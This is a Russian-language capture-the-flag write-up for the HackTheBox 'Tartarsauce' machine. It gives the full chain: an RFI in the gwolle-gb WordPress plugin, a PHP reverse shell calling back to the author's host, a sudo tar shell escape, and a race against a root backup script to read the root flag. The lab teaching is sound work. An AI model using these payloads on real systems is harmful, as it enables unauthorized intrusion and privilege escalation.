# Отчет по заданию Tartarsauce (HTB)
**HTB Profile**: https://app.hackthebox.com/profile/activity/906355
**IP**: 10.10.10.88
**Domain**: tartarsauce.htb
*добавим в /etc/hosts*
### Перечисление
Используем nmap для перечисления портов
```bash=
nmap -sS -T5 -n -Pn 10.10.10.88
```
Используем ffuf для фаззинга директорий веб-приложения
```bash=
ffuf -w .../SecLists/.../.../dirs.txt:VAR -u http://10.10.10.88/VAR -c
```
*(Про свои изыскания с monstra умалчиваю, т.к. вектор оказался тупиковый)*
Находим http://10.10.10.88/webservices/wp/
Определяем что это wordpress (хотя и на глаз видно)
```bash=
whatweb http://10.10.10.88/webservices/wp/
```
### Скан
Вектора для получения получения первичного доступа через WP:
1. Брутфорс админки
2. Уязвимые плагины
3. Уязвимые темы
4. Бекапы, доступные извне
5. Креды, спрятанные где-то на страницах сайта
Начнем с перечисления всех плагинов, тем и пользователей
```=
wpscan --url http://tartarsauce.htb/webservices/wp/ -e p,t,u --plugins-detection aggressive --detection-mode aggressive
```
Находим устаревший плагин gwolle-gb
```=
[+] gwolle-gb
| Location: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/
| Last Updated: 2022-05-12T09:58:00.000Z
| Readme: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
| [!] The version is out of date, the latest version is 4.2.2
|
| Found By: Known Locations (Aggressive Detection)
| - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
```
Который, согласно exploit-db может в RFI
```=
http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]
```
### Первичный доступ
Попытаемся подсунуть свой php с нагрузкой
Создаем файл system.php с reverse shell нагрузкой
```=
<?php
$sock=fsockopen("10.10.14.8",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
```
Поднимаем reverse_shell_tcp listener, используя MSF (для удобства)
Поднимаем на своей машине http-сервер, используя python
```=
python3 -m http.server 8080
```
Переходим по ссылке
http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.8/system.php
В логах http-сервера наблюдаем, что Wordpress пытается забрать файл wp-load.php
```=
10.10.10.88 - - [02/Sep/2022 14:45:02] "GET /system.phpwp-load.php HTTP/1.0" 200 -
```
Меняем название system.php на wp-load.php
Переходим по ссылке
http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.8/
**DONE!** Сессия получена
Апгрейдим до meterpreter
```=
msf> sessions -u 1
```
### Горизонтальное продвижение
Первое что смотрим
```=
sudo -l
```
И сразу удача
```=
(onuma) NOPASSWD: /bin/tar
```
Вспоминаем про https://gtfobins.github.io/gtfobins/tar/
```=
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```
**Успех!** мы - onuma, пользовательский флаг у нас
### Повышение привилегий
Воспользовавшись linpeas.sh находим странный архив /var/backups/onuma-www-dev.bak
Причем файл обновляется раз в 5 минут (+/-) - какой-то cron, не иначе
Чтобы отловить нужно смотреть запускаемые процессы, используем pspy, доставляем на машину через http-server python.
```=
./pspy32
```
Видим странный процесс, запущенный от рута, /bin/bash /usr/sbin/backuperer, после которого и создаются архивы
Изучим backuperer
Видим, что:
1. архивируется директория /var/www/html
2. архив кладется в /var/tmp/.(какой-то хеш)
3. процесс засыпает на 30 секунд
4. далее распаковывает архив в директорию /var/tmp/check
5. используя diff выявляется разница между только что разархивированными данными и данными в папке /var/www/html
Далее, нам нужно поймать момент запуска backuperer и выполнить следующие действия, пока процесс спит.
1. Разархивируем архив из /var/tmp/.(какой-то хеш)
2. Удаляем любой файл из распакованного архива и заменяем его на ссылку на рутовый флаг, например, ln -s /root/root.txt ./tmpbackup/var/www/html/robots.txt
3. Архивируем всё обратно
4. Ждем пока процесс проснется и выполнит diff
5. Чекаем файл с ошибками diff'а, находим рутовый флаг (т.к при сравнении с /var/www/html будет разница между архивами, которую diff нам и отобразит в лог)
**Done!**